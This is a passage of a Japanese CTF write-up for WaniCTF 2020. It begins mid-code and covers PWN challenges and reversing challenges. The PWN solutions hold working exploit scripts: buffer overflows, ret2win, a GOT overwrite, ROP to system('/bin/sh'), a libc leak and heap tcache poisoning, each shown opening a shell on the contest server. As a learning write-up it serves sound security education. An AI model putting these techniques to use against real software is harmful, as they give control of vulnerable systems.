0x%016lx", i, *p); if (i == rsp) { printf(" <- rsp"); } else if (i == rbp) { printf(" <- rbp"); } else if (i == rbp + 8) { printf(" <- return address"); } printf("\n"); i += 8; } printf("***end stack dump***\n\n"); }
Buffer Over Flowがあり、ローカル変数のtargetをWANIに置き換えることができたら勝ちです。
-> (python3 -c 'import sys; sys.stdout.buffer.write(b"A"*10 + b"WANI\n")';cat) | nc var.wanictf.org 9002 -bash: warning: 1763: maybe_give_terminal_to: terminal pgrp == 1762 shell pgrp = 8 new pgrp = 8 in_background = 0 What's your name?: hello AAAAAAAAAAWANI! Congratulation! ls chall flag.txt redir.sh cat flag.txt FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}
[PWN Easy] binsh address
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> char str_head[] = "Please input \""; char binsh[] = "/bin/sh"; char str_tail[] = "\" address as a hex number: "; void init(); void vuln() { char name[0x20]; unsigned long int val; char *p; int ret; write(0, str_head, strlen(str_head)); write(0, binsh, strlen(binsh)); write(0, str_tail, strlen(str_tail)); ret = read(0, name, 0x20); name[ret - 1] = 0; val = strtol(name, NULL, 16); printf("Your input address is 0x%lx.\n", val); p = (char *) val; if(p == binsh){ puts("Congratulation!"); system(p); exit(0); }else{ puts("You are wrong.\n\n"); } } int main() { init(); printf("The address of \"input \" is 0x%lx.\n", (unsigned long int) str_head); while (1) { vuln(); } } void init() { alarm(30); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); }
"Please Input ""のアドレスが与えられるので、"/bin/sh"のアドレスを答えられれば勝ちです。
-> strings -tx pwn03 ... 2010 Please input " 2020 /bin/sh ...
/bin/shはPlease Inputに0x10足したアドレスにあるようなので、与えられたアドレスに+0x10すればよいです。
-> nc binsh.wanictf.org 9003 The address of "input " is 0x55bf11ae8010. Please input "/bin/sh" address as a hex number: 0x55bf11ae8020 Your input address is 0x55bf11ae8020. Congratulation! ls chall flag.txt redir.sh cat flag.txt FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}
FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}
[PWN Normal] ret rewrite
char str_head[] = "Hello "; char str_tail[] = "!\n"; void vuln() { char name[10]; int ret; printf("What's your name?: "); ret = read(0, name, 0x100); name[ret - 1] = 0; write(0, str_head, strlen(str_head)); write(0, name, strlen(name)); write(0, str_tail, strlen(str_tail)); { //for learning stack register unsigned long rsp asm("rsp"); register unsigned long rbp asm("rbp"); debug_stack_dump(rsp, rbp); } } int main() { init(); while (1) { vuln(); } }
一部抜粋。BOFからret2winすればよいです。
def solve(io): win_addr = 0x400837 ret_addr = 0x0000000000400696 io.sendline(b"A"*22 + p64(ret_addr) + p64(win_addr)) io.interactive()
stackのアライメントがあるのでret gadgetを間に入れましょう。
-> python3 solve.py remote [+] Opening connection to ret.wanictf.org on port 9005: Done [*] Switching to interactive mode What's your name?: Hello AAAAAAAAAA'! ***start stack dump*** 0x7ffff423dcd0: 0x414141414141ddd0 <- rsp 0x7ffff423dcd8: 0x0000002741414141 0x7ffff423dce0: 0x4141414141414141 <- rbp 0x7ffff423dce8: 0x0000000000400696 <- return address 0x7ffff423dcf0: 0x0000000000400837 0x7ffff423dcf8: 0x00007f2f143cfb00 0x7ffff423dd00: 0x0000000000000001 ***end stack dump*** congratulation! $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{1earning-how-return-address-w0rks-on-st4ck}
FLAG{1earning-how-return-address-w0rks-on-st4ck}
[PWN Easy] got rewriter
void vuln() { char str_val[0x20]; unsigned long int val; unsigned long int *p; int ret; printf("Please input target address (0x600e10-0x6010b0): "); ret = read(0, str_val, 0x20); str_val[ret - 1] = 0; val = strtol(str_val, NULL, 16); printf("Your input address is 0x%lx.\n", val); if (val < 0x600e10 || val > 0x6010b0) { printf("you can't rewrite 0x%lx!\n", val); return; } p = (unsigned long int *)val; printf("Please input rewrite value: "); ret = read(0, str_val, 0x20); str_val[ret - 1] = 0; val = strtol(str_val, NULL, 16); printf("Your input rewrite value is 0x%lx.\n\n", val); printf("*0x%lx <- 0x%lx.\n\n\n", (unsigned long int)p, val); *p = val; } int main() { init(); puts("Welcome to GOT rewriter!!!"); printf("win = 0x%lx\n", (unsigned long int)win); while (1) { vuln(); } }
一部抜粋。GOTを書き替えられるようなので、適当な関数をwinに置き替えましょう。
-> objdump -d pwn04 | grep printf 00000000004006d0 <printf@plt>: 4006d0: ff 25 62 09 20 00 jmpq *0x200962(%rip) # 601038 <printf@GLIBC_2.2.5> 400850: e8 7b fe ff ff callq 4006d0 <printf@plt> 4008a8: e8 23 fe ff ff callq 4006d0 <printf@plt> 4008d4: e8 f7 fd ff ff callq 4006d0 <printf@plt> 4008f2: e8 d9 fd ff ff callq 4006d0 <printf@plt> 40094a: e8 81 fd ff ff callq 4006d0 <printf@plt> 400966: e8 65 fd ff ff callq 4006d0 <printf@plt> 4009bc: e8 0f fd ff ff callq 4006d0 <printf@plt> -> objdump -d pwn04 | grep win 0000000000400807 <win>: 4009a6: 48 8d 05 5a fe ff ff lea -0x1a6(%rip),%rax # 400807 <win> -> nc got.wanictf.org 9004 Welcome to GOT rewriter!!! win = 0x400807 Please input target address (0x600e10-0x6010b0): 601038 Your input address is 0x601038. Please input rewrite value: 400807 Your input rewrite value is 0x400807. *0x601038 <- 0x400807. congratulation! ls chall flag.txt redir.sh cat flag.txt FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}
FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}
[PWN Normal] rop func call
char str_head[] = "hello "; char str_tail[] = "!\n"; char binsh[] = "/bin/sh"; void vuln() { char name[10]; int ret; printf("What's your name?: "); ret = read(0, name, 0x100); name[ret - 1] = 0; write(0, str_head, strlen(str_head)); write(0, name, strlen(name)); write(0, str_tail, strlen(str_tail)); { //for learning stack register unsigned long rsp asm("rsp"); register unsigned long rbp asm("rbp"); debug_stack_dump(rsp, rbp); } } int main() { init(); system("echo Welcome to rop function call!!!"); while (1) { vuln(); } }
ご丁寧にsystemも/bin/shも用意されてるのでROPをするだけです。これもret gadgetを挟みます。
def solve(io): binary = ELF("./pwn06") pop_rdi = 0x0000000000400a53 bin_sh = next(binary.search(b"/bin/sh\x00")) ret_addr = 0x000000000040065e payload = b"" payload += b"A"*22 payload += p64(pop_rdi) payload += p64(bin_sh) payload += p64(ret_addr) payload += p64(binary.sym["system"]) io.sendline(payload) io.interactive()
-> python3 solve.py remote [+] Opening connection to rop.wanictf.org on port 9006: Done [*] Switching to interactive mode Welcome to rop function call!!! What's your name?: hello AAAAAAAAAA7! ***start stack dump*** 0x7ffc5bdb79b0: 0x4141414141410000 <- rsp 0x7ffc5bdb79b8: 0x0000003741414141 0x7ffc5bdb79c0: 0x4141414141414141 <- rbp 0x7ffc5bdb79c8: 0x0000000000400a53 <- return address 0x7ffc5bdb79d0: 0x0000000000601080 0x7ffc5bdb79d8: 0x000000000040065e 0x7ffc5bdb79e0: 0x00000000004006c0 ***end stack dump*** $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{learning-rop-and-x64-system-call}
FLAG{learning-rop-and-x64-system-call}
[PWN Hard] one gadget rce
void vuln() { char name[10]; int ret; printf("What's your name?: "); ret = read(0, name, 0x100); name[ret - 1] = 0; write(0, str_head, strlen(str_head)); write(0, name, strlen(name)); write(0, str_tail, strlen(str_tail)); { //for learning stack register unsigned long rsp asm("rsp"); register unsigned long rbp asm("rbp"); debug_stack_dump(rsp, rbp); } } int main() { init(); puts("Welcome to one-gadget RCE!!!"); while (1) { vuln(); } }
ROPができますが今回はsystem関数もバイナリ中にないためlibc leakをする必要があります。
GOTにはlibcのaddressが入るのでそれを出力させてlibc leakした後、もう一回mainに飛べば続けてROPすることができます。(ret2vulnというテクニックらしい)
def solve(io): one_gadget = 0x4f3d5 pop_rdi = 0x0000000000400a13 ret_addr = 0x0000000000400626 binary = ELF("./pwn07") payload = b"" payload += b"A"*22 payload += p64(pop_rdi) payload += p64(binary.got["puts"]) payload += p64(binary.plt["puts"]) payload += p64(binary.sym["main"]) io.sendline(payload) [io.recvline() for i in range(13)] puts_addr = u64(io.recvline().rstrip().ljust(8, b"\x00")) log.info(f"puts: {puts_addr:x}") libc.address = puts_addr - libc.sym["puts"] log.info(f"libc: {libc.address:x}") payload = b"" payload += b"A"*22 payload += p64(pop_rdi) payload += p64(next(libc.search(b"/bin/sh\x00"))) payload += p64(ret_addr) payload += p64(libc.sym["system"]) io.sendline(payload) io.interactive()
-> python3 solve.py remote [+] Opening connection to rce.wanictf.org on port 9007: Done [*] puts: 7fa01618daa0 [*] libc: 7fa01610d000 [*] Switching to interactive mode Welcome to one-gadget RCE!!! What's your name?: hello AAAAAAAAAA7! ***start stack dump*** 0x7ffc3d5e6b40: 0x4141414141416b60 <- rsp 0x7ffc3d5e6b48: 0x0000003741414141 0x7ffc3d5e6b50: 0x4141414141414141 <- rbp 0x7ffc3d5e6b58: 0x0000000000400a13 <- return address 0x7ffc3d5e6b60: 0x00007fa0162c0e1a 0x7ffc3d5e6b68: 0x0000000000400626 0x7ffc3d5e6b70: 0x00007fa01615c550 ***end stack dump*** $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}
FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}
[PWN VeryHard] heap
ソースコードは無し。バイナリとlibc-2.27.soが与えられます。
ざっと動かすとheap問でよくある形式であることがわかります。
-> ./pwn08 Welcome to memo application!!! 1: add memo 2: edit memo 3: view memo 9: del memo command?:
Cutterというradare2のGUI版に内蔵されているGhidraを使って解読します。
mainからcommandを呼んでいるのでcommandを見てみます。
void command(void) { int32_t iVar1; int32_t iVar2; undefined8 uVar3; int64_t var_ch; print_menu(); iVar1 = get_int(); printf("index?[0-9]: "); iVar2 = get_int(); if (iVar1 == 2) { printf("memo?: "); read(0, *(undefined8 *)(g_memos + (int64_t)iVar2 * 8), 0x100); } else { if (iVar1 < 3) { if (iVar1 == 1) { printf("size?: "); iVar1 = get_int(); uVar3 = malloc((int64_t)iVar1); *(undefined8 *)(g_memos + (int64_t)iVar2 * 8) = uVar3; } } else { if (iVar1 == 3) { puts(*(undefined8 *)(g_memos + (int64_t)iVar2 * 8)); } else { if (iVar1 == 9) { free(*(undefined8 *)(g_memos + (int64_t)iVar2 * 8)); *(undefined8 *)(g_memos + (int64_t)iVar2 * 8) = 0; } } } } return; }
g_memosというグローバル変数があり、そこにmallocしたアドレスが格納されているようです。
1: g_memos[index] = malloc(size);
2: read(0, g_memos[index], 0x100);
3: puts(g_memos[index]);
9: free(g_memos[index]); g_memos[index] = NULL;
といったところでしょうか。
さて、2では0x100文字読みこむことができますがmallocするサイズはこちらで決められるので、0x100以下のサイズのチャンクに0x100文字読みこむことが可能です。HeapOverFlowですね。
では脆弱性がわかったので方針を考えましょう。tcacheが有効なのでtcache poisoningが使えそうです。
次にlibc leakの方法です。最初はunsorted binを使おうと思ってましたが、libcを切り替えるためのpatchelfが動かずFSBを使いました。main_arenaのアドレスを調べる良い方法があれば誰か教えて下さい...
def solve(io): binary = ELF("./pwn08") add(io, 0, 20) add(io, 1, 20) add(io, 2, 20) delete(io, 2) delete(io, 1) # tcache => 1 => 2 payload = b"" payload += b"A" * 0x18 payload += p64(0x21) # size payload += p64(binary.got["puts"]) # fd payload += p64(0) # key edit(io, 0, payload) delete(io, 1) # tcache => 1 => puts@got add(io, 1, 20) # tcache => puts@got add(io, 2, 20) # 2のアドレスがputs@gotになる # FSB用のチャンク add(io, 3, 100) # FSBをするためにputs@gotをprintf@pltに置き換える edit(io, 2, p64(binary.plt["printf"])) # FSBでlibc leak edit(io, 3, "%11$llx") result = view(io, 3) leak = int(result, 16) log.info(f"leak: {leak:x}") libc.address = leak - (libc.sym["__libc_start_main"] + 231) log.info(f"libc base: {libc.address:x}") # puts@gotをsystemに置き換える edit(io, 2, p64(libc.sym["system"])) edit(io, 3, "/bin/sh\x00")
-> python3 solve.py remote [+] Opening connection to heap.wanictf.org on port 9008: Done [*] add 0 [*] add 1 [*] add 2 [*] delete 2 [*] delete 1 [*] edit 0 => b'AAAAAAAAAAAAAAAAAAAAAAAA!\x00\x00\x00\x00\x00\x00\x00 `\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' [*] delete 1 [*] add 1 [*] add 2 [*] add 3 [*] edit 2 => b'\xd0\x06@\x00\x00\x00\x00\x00' [*] edit 3 => %11$llx [*] leak: 7f6896b66bf7 [*] libc base: 7f6896b45000 [*] edit 2 => b'PE\xb9\x96h\x7f\x00\x00' [*] edit 3 => /bin/sh\x00[*] Switching to interactive mode sh: 4: [[[list: not found ***** 0 ***** sh: 1: AAAAAAAAAAAAAAAAAAAAAAAA!: not found ***** 1 ***** sh: 1: Syntax error: EOF in backquote substitution ***** 2 ***** sh: 1: PE\xb9\x96h\x7f: not found ***** 3 ***** $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{I-am-a-heap-beginner}
FLAG{I-am-a-heap-beginner}
[Reversing Beginner] strings
-> strings strings | grep FLAG FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}
FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}
[Reversing Normal] simple
radare2で見るとフラグを変数に格納しているのがわかります。
[0x00000630]> aaaa ... [0x00000630]> pdf @ main ; DATA XREF from entry0 @ 0x64d ┌ 328: int main (int argc, char **argv, char **envp); ... │ │└─> 0x00000793 c6459046 mov byte [var_70h], 0x46 ; 'F' │ │ 0x00000797 c645914c mov byte [var_6fh], 0x4c ; 'L' │ │ 0x0000079b c6459241 mov byte [var_6eh], 0x41 ; 'A' │ │ 0x0000079f c6459347 mov byte [var_6dh], 0x47 ; 'G' │ │ 0x000007a3 c645947b mov byte [var_6ch], 0x7b ; '{' │ │ 0x000007a7 c6459535 mov byte [var_6bh], 0x35 ; '5' │ │ 0x000007ab c6459669 mov byte [var_6ah], 0x69 ; 'i' │ │ 0x000007af c645976d mov byte [var_69h], 0x6d ; 'm' │ │ 0x000007b3 c6459870 mov byte [var_68h], 0x70 ; 'p' │ │ 0x000007b7 c6459931 mov byte [var_67h], 0x31 ; '1' │ │ 0x000007bb c6459a65 mov byte [var_66h], 0x65 ; 'e' │ │ 0x000007bf c6459b5f mov byte [var_65h], 0x5f ; '_' │ │ 0x000007c3 c6459c52 mov byte [var_64h], 0x52 ; 'R' │ │ 0x000007c7 c6459d65 mov byte [var_63h], 0x65 ; 'e' │ │ 0x000007cb c6459e76 mov byte [var_62h], 0x76 ; 'v' │ │ 0x000007cf c6459f65 mov byte [var_61h], 0x65 ; 'e' │ │ 0x000007d3 c645a072 mov byte [var_60h], 0x72 ; 'r' │ │ 0x000007d7 c645a173 mov byte [var_5fh], 0x73 ; 's' │ │ 0x000007db c645a231 mov byte [var_5eh], 0x31 ; '1' │ │ 0x000007df c645a36e mov byte [var_5dh], 0x6e ; 'n' │ │ 0x000007e3 c645a467 mov byte [var_5ch], 0x67 ; 'g' │ │ 0x000007e7 c645a55f mov byte [var_5bh], 0x5f ; '_' │ │ 0x000007eb c645a634 mov byte [var_5ah], 0x34 ; '4' │ │ 0x000007ef c645a772 mov byte [var_59h], 0x72 ; 'r' │ │ 0x000007f3 c645a872 mov byte [var_58h], 0x72 ; 'r' │ │ 0x000007f7 c645a961 mov byte [var_57h], 0x61 ; 'a' │ │ 0x000007fb c645aa79 mov byte [var_56h], 0x79 ; 'y' │ │ 0x000007ff c645ab5f mov byte [var_55h], 0x5f ; '_' │ │ 0x00000803 c645ac35 mov byte [var_54h], 0x35 ; '5' │ │ 0x00000807 c645ad74 mov byte [var_53h], 0x74 ; 't' │ │ 0x0000080b c645ae72 mov byte [var_52h], 0x72 ; 'r' │ │ 0x0000080f c645af69 mov byte [var_51h], 0x69 ; 'i' │ │ 0x00000813 c645b06e mov byte [var_50h], 0x6e ; 'n' │ │ 0x00000817 c645b167 mov byte [var_4fh], 0x67 ; 'g' │ │ 0x0000081b c645b273 mov byte [var_4eh], 0x73 ; 's' │ │ 0x0000081f c645b37d mov byte [var_4dh], 0x7d ; '}' ...
FLAG{5imp1e_Revers1ng_4rray_5trings}
[Reversing Hard] complex
CutterのGhidraで見ていきます。
undefined8 main(void) { int32_t iVar1; int64_t iVar2; char *dest; char *src; undefined auStack30 [14]; uint32_t var_8h; undefined8 var_4h; printf("input flag : "); __isoc99_scanf(0x1dc2, &src); iVar2 = strlen(&src); if (((iVar2 != 0x2b) || (iVar1 = strncmp(&src, "FLAG{", 5), iVar1 != 0)) || (iVar1 = strcmp(auStack30, 0x1dcb), iVar1 != 0)) { puts("Incorrect"); return 1; } strncpy(&dest, (int64_t)&src + 5, 0x25); var_4h._0_4_ = 0; do { if (0x13 < (int32_t)(uint32_t)var_4h) { return 0; } var_8h = check((uint32_t)var_4h, (int64_t)&dest); if (var_8h != 0) { if (var_8h == 1) { puts("Incorrect"); return 1; } if (var_8h == 2) { printf("Correct! Flag is %s\n", &src); return 0; } } var_4h._0_4_ = (uint32_t)var_4h + 1; } while( true ); }
srcには入力した文字列が入り、destにはpythonで言えばsrc[5:-1]が入るようです。
そしてcheck(0~0x13, dest)を実行して、結果が2ならフラグが得られるようです。check関数を見てみます。
void check(uint32_t arg1, int64_t arg2) { int64_t var_20h; uint32_t var_14h; int64_t var_4h; // switch table (20 cases) at 0x1d64 switch(arg1) { case 0: check_0(arg2); break; case 1: check_1(arg2); break; ... break; case 0x13: check_19(arg2); } return; }
check_0からcheck_19までをswitchで実行しているようです。とりあえずcheck_0を見てみます。
undefined8 check_0(int64_t arg1) { int64_t var_68h; int64_t var_60h; int64_t var_58h; int64_t var_50h; int64_t var_48h; int64_t var_40h; int64_t var_30h; int64_t var_28h; int64_t var_20h; int64_t var_18h; int64_t var_10h; undefined8 var_4h; var_30h = 0x3935353537343531; var_28h = 0x3235383535313332; var_20h = 0x3434363234303130; var_18h = 0x3732363635303234; var_10h._0_4_ = 0x36353831; var_10h._4_1_ = 0x36; var_60h = 0x5b5a41545a515459; var_58h = 0x6d54515d565f5240; var_50h = 0x6b5f555340435442; var_48h = 0x5255594246594055; var_40h._0_4_ = 0x5f415d5f; var_40h._4_1_ = 0x55; var_4h._0_4_ = 0; while( true ) { if (0x24 < (int32_t)var_4h) { return 1; } if (((int32_t)*(char *)((int64_t)&var_30h + (int64_t)(int32_t)var_4h) ^ (uint32_t)*(uint8_t *)(arg1 + (int32_t)var_4h)) != (int32_t)*(char *)((int64_t)&var_60h + (int64_t)(int32_t)var_4h)) break; var_4h._0_4_ = (int32_t)var_4h + 1; } return 0; }
引数と謎の値らをXORして、正しいかどうか判断してるように見えますが、実際は!=を使っているため文字列が間違っているなら0(正常)を返し, そうでないなら1(異常)を返しています。何かおかしいですね。
しかも返す値は0か1で、2はありません。2を返す関数がないか見ると、check_13がそれを返すようです。
undefined8 check_13(int64_t arg1) { int64_t var_68h; int64_t var_60h; int64_t var_58h; int64_t var_50h; int64_t var_48h; int64_t var_40h; int64_t var_30h; int64_t var_28h; int64_t var_20h; int64_t var_18h; int64_t var_10h; undefined8 var_4h; var_30h = 0x3131393431333637; var_28h = 0x3435313837393235; var_20h = 0x3635313836343636; var_18h = 0x3834303131353334; var_10h._0_4_ = 0x34323435; var_10h._4_1_ = 0x37; var_60h = 0x6e44564d6e575f53; var_58h = 0x576a48545b585747; var_50h = 0x535d45675d57535e; var_48h = 0x675a42444550416b; var_40h._0_4_ = 0x415e5543; var_40h._4_1_ = 0x52; var_4h._0_4_ = 0; while( true ) { if (0x24 < (int32_t)var_4h) { return 2; } if (((int32_t)*(char *)((int64_t)&var_30h + (int64_t)(int32_t)var_4h) ^ (uint32_t)*(uint8_t *)(arg1 + (int32_t)var_4h)) != (int32_t)*(char *)((int64_t)&var_60h + (int64_t)(int32_t)var_4h)) break; var_4h._0_4_ = (int32_t)var_4h + 1; } return 1; }
今度は間違っているとき1(異常)を返し、合っているとき2(フラグと一致)を返しています。当たりですね。
あとは値同士をXORしてフラグを手に入れます。
key = [0x3131393431333637, 0x3435313837393235, 0x3635313836343636, 0x3834303131353334, 0x34323435, 0x37] answer = [0x6e44564d6e575f53, 0x576a48545b585747, 0x535d45675d57535e, 0x675a42444550416b, 0x415e5543, 0x52] flag = b"".join([(ki ^ ai).to_bytes(8, "little") for ki, ai in zip(key, answer)]) print(flag)
-> python3 solve.py b'did_you_really_check_the_return_valu\x00\x00\x00\x00e\x00\x00\x00\x00\x00\x00\x00'
FLAG{did_you_really_check_the_return_value}
[Reversing VeryHard] static
バイナリが与えられます。まずstringsしてみてと問題文で言われたのでしてみると、ある文字列が目に入ります。
-> strings static ... $Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $ ...
upxを使って圧縮していそうです。解凍して再度調べてみます。
-> upx -d static Ultimate Packer for eXecutables Copyright (C) 1996 - 2020 UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020 File size Ratio Format Name -------------------- ------ ----------- ----------- 905656 <- 348592 38.49% linux/amd64 static Unpacked 1 file. -> file static static: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=b511e4b318031c1be104cd6b3c0724e70d63e1ec, stripped
static strippedなバイナリです。Cutterで見ていきますが、Ghidraがあまり役に立たなかったのでグラフで見ます。
fcn.00400c4eの返り値で判断されているのでそこを見てみます。
uint64_t fcn.00400c4e(int64_t arg1) { uint8_t uVar1; uint32_t uVar2; uint64_t uVar3; int64_t in_FS_OFFSET; int64_t var_1a8h; uint32_t var_19ch; undefined8 var_198h; int64_t var_190h; undefined4 var_188h; undefined4 var_184h; undefined4 var_180h; undefined4 var_17ch; undefined4 var_178h; undefined4 var_174h; undefined4 var_170h; undefined4 var_16ch; undefined4 var_168h; undefined4 var_164h; undefined4 var_160h; undefined4 var_15ch; undefined4 var_158h; undefined4 var_154h; undefined4 var_150h; undefined4 var_14ch; undefined4 var_148h; undefined4 var_144h; undefined4 var_140h; undefined4 var_13ch; undefined4 var_138h; undefined4 var_134h; undefined4 var_130h; undefined4 var_12ch; undefined4 var_128h; undefined4 var_124h; undefined4 var_120h; undefined4 var_11ch; undefined4 var_118h; undefined4 var_114h; undefined4 var_110h; undefined4 var_10ch; undefined4 var_108h; undefined4 var_104h; undefined4 var_100h; undefined4 var_fch; undefined4 var_f8h; undefined4 var_f4h; undefined4 var_f0h; undefined4 var_ech; undefined4 var_e8h; undefined4 var_e4h; undefined4 var_e0h; undefined4 var_dch; undefined4 var_d8h; undefined4 var_d4h; uint32_t var_d0h [50]; int64_t var_8h; var_8h = *(int64_t *)(in_FS_OFFSET + 0x28); uVar1 = 0; var_190h._0_4_ = 0x63c1d9cb; var_190h._4_4_ = 0x383f1bb2; var_188h = 0x4107dd90; var_184h = 0x34841fb5; var_180h = 0x3ebdf538; var_17ch = 0x31565585; var_178h = 0x4def055e; var_174h = 0x1bfdeb79; var_170h = 0x24118ff9; var_16ch = 0x272298e8; var_168h = 0x7abcb5e2; var_164h = 0x9466371; var_160h = 0x7799b008; var_15ch = 0x172289a0; var_158h = 0x401a25a3; var_154h = 0x39ce61b8; var_150h = 0x56ec69a8; var_14ch = 0x106f1fbc; var_148h = 0x77fc40dd; var_144h = 0x4828ae9d; var_140h = 0x2252bab7; var_13ch = 0x45935dcc; var_138h = 0x7565bd9a; var_134h = 0x5ae240c0; var_130h = 0x20edd601; var_12ch = 0x47362402; var_128h = 0xb61fcc7; var_124h = 0x7c7607b7; var_120h = 0x6cf7737d; var_11ch = 0x522262fa; var_118h = 0x5ee1319b; var_114h = 0x50b94ca2; var_110h = 0xa617e04; var_10ch = 0x1fe90f3c; var_108h = 0x53d6c81; var_104h = 0x491f731d; var_100h = 0x513f6544; var_fch = 0x532c71b5; var_f8h = 0x651d5efb; var_f4h = 0x7550f572; var_f0h = 0x7a4f0aff; var_ech = 0x5fda144e; var_e8h = 0x7e975877; var_e4h = 0x71e8ba89; var_e0h = 0x76fc9db7; var_dch = 0x3eb17e6f; var_d8h = 0x2bb71c42; var_d4h = 0x4de907f2; fcn.0040f240(0x12bb0b7); var_198h._0_4_ = 0; while ((int32_t)var_198h < 0x30) { uVar2 = fcn.0040fa30(); var_d0h[(int32_t)var_198h] = uVar2; var_198h._0_4_ = (int32_t)var_198h + 1; } var_198h._4_4_ = 0; while (var_198h._4_4_ < 0x30) { if (((uint32_t)*(uint8_t *)(arg1 + var_198h._4_4_) ^ var_d0h[var_198h._4_4_]) != *(uint32_t *)((int64_t)&var_190h + (int64_t)var_198h._4_4_ * 4)) { uVar1 = 1; } var_198h._4_4_ = var_198h._4_4_ + 1; } uVar3 = (uint64_t)uVar1; if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) { uVar3 = fcn.00450650(); } return uVar3; }
怪しげなテーブルがありました。当たりですね。
見てみると一つ目のループではfcn.0040fa30を使って新しくvar_d0hにテーブルを作ってるのがわかります。
そのテーブルとvar_190hのテーブルでXORを取ればフラグが出てきそうです。
恐らく入力に依存しないので、深掘りせずにgdbで覗いてテーブルを手に入れましょう。
-> gdb ./static ... pwndbg> b *0x00400e95 Breakpoint 1 at 0x400e95 pwndbg> r Starting program: /mnt/c/Users/shinji/MyFiles/CTF/WaniCTF2020/static/static input flag : FLAG{123456781234567812345678123456781234567812345678} Breakpoint 1, 0x0000000000400e95 in ?? () ... pwndbg> x/48wx $rbp-0x190 0x7fffffffe030: 0x63c1d9cb 0x383f1bb2 0x4107dd90 0x34841fb5 0x7fffffffe040: 0x3ebdf538 0x31565585 0x4def055e 0x1bfdeb79 0x7fffffffe050: 0x24118ff9 0x272298e8 0x7abcb5e2 0x09466371 0x7fffffffe060: 0x7799b008 0x172289a0 0x401a25a3 0x39ce61b8 0x7fffffffe070: 0x56ec69a8 0x106f1fbc 0x77fc40dd 0x4828ae9d 0x7fffffffe080: 0x2252bab7 0x45935dcc 0x7565bd9a 0x5ae240c0 0x7fffffffe090: 0x20edd601 0x47362402 0x0b61fcc7 0x7c7607b7 0x7fffffffe0a0: 0x6cf7737d 0x522262fa 0x5ee1319b 0x50b94ca2 0x7fffffffe0b0: 0x0a617e04 0x1fe90f3c 0x053d6c81 0x491f731d 0x7fffffffe0c0: 0x513f6544 0x532c71b5 0x651d5efb 0x7550f572 0x7fffffffe0d0: 0x7a4f0aff 0x5fda144e 0x7e975877 0x71e8ba89 0x7fffffffe0e0: 0x76fc9db7 0x3eb17e6f 0x2bb71c42 0x4de907f2 pwndbg> x/48wx $rbp-0xd0 0x7fffffffe0f0: 0x63c1d9b9 0x383f1bd1 0x4107dda4 0x34841fea 0x7fffffffe100: 0x3ebdf50c 0x315655eb 0x4def053a 0x1bfdeb26 0x7fffffffe110: 0x24118fca 0x2722989c 0x7abcb583 0x09466305 0x7fffffffe120: 0x7799b061 0x172289c3 0x401a25fc 0x39ce6189 0x7fffffffe130: 0x56ec69c1 0x106f1fd2 0x77fc40b6 0x4828aec2 0x7fffffffe140: 0x2252ba83 0x45935da2 0x7565bdfe 0x5ae2409f 0x7fffffffe150: 0x20edd672 0x47362435 0x0b61fcb5 0x7c7607de 0x7fffffffe160: 0x6cf7730d 0x5222628a 0x5ee131a8 0x50b94cc6 0x7fffffffe170: 0x0a617e5b 0x1fe90f4c 0x053d6cb0 0x491f7368 0x7fffffffe180: 0x513f6537 0x532c71ea 0x651d5e8e 0x7550f502 0x7fffffffe190: 0x7a4f0a87 0x5fda1411 0x7e975807 0x71e8bae8 0x7fffffffe1a0: 0x76fc9dd4 0x3eb17e04 0x2bb71c71 0x4de90796
テーブルが取れたので復元します。
key = [0x63c1d9cb, 0x383f1bb2, 0x4107dd90, 0x34841fb5, 0x3ebdf538, 0x31565585, 0x4def055e, 0x1bfdeb79, 0x24118ff9, 0x272298e8, 0x7abcb5e2, 0x09466371, 0x7799b008, 0x172289a0, 0x401a25a3, 0x39ce61b8, 0x56ec69a8, 0x106f1fbc, 0x77fc40dd, 0x4828ae9d, 0x2252bab7, 0x45935dcc, 0x7565bd9a, 0x5ae240c0, 0x20edd601, 0x47362402, 0x0b61fcc7, 0x7c7607b7, 0x6cf7737d, 0x522262fa, 0x5ee1319b, 0x50b94ca2, 0x0a617e04, 0x1fe90f3c, 0x053d6c81, 0x491f731d, 0x513f6544, 0x532c71b5, 0x651d5efb, 0x7550f572, 0x7a4f0aff, 0x5fda144e, 0x7e975877, 0x71e8ba89, 0x76fc9db7, 0x3eb17e6f, 0x2bb71c42, 0x4de907f2] answer = [0x63c1d9b9, 0x383f1bd1, 0x4107dda4, 0x34841fea, 0x3ebdf50c, 0x315655eb, 0x4def053a, 0x1bfdeb26, 0x24118fca, 0x2722989c, 0x7abcb583, 0x09466305, 0x7799b061, 0x172289c3, 0x401a25fc, 0x39ce6189, 0x56ec69c1, 0x106f1fd2, 0x77fc40b6, 0x4828aec2, 0x2252ba83, 0x45935da2, 0x7565bdfe, 0x5ae2409f, 0x20edd672, 0x47362435, 0x0b61fcb5, 0x7c7607de, 0x6cf7730d, 0x5222628a, 0x5ee131a8, 0x50b94cc6, 0x0a617e5b, 0x1fe90f4c, 0x053d6cb0, 0x491f7368, 0x513f6537, 0x532c71ea, 0x651d5e8e, 0x7550f502, 0x7a4f0a87, 0x5fda1411, 0x7e975807, 0x71e8bae8, 0x76fc9dd4, 0x3eb17e04, 0x2bb71c71, 0x4de90796] flag = bytes([(ki ^ ai) for ki, ai in zip(key, answer)]) print(flag)
-> python3 rev.py b'rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d'
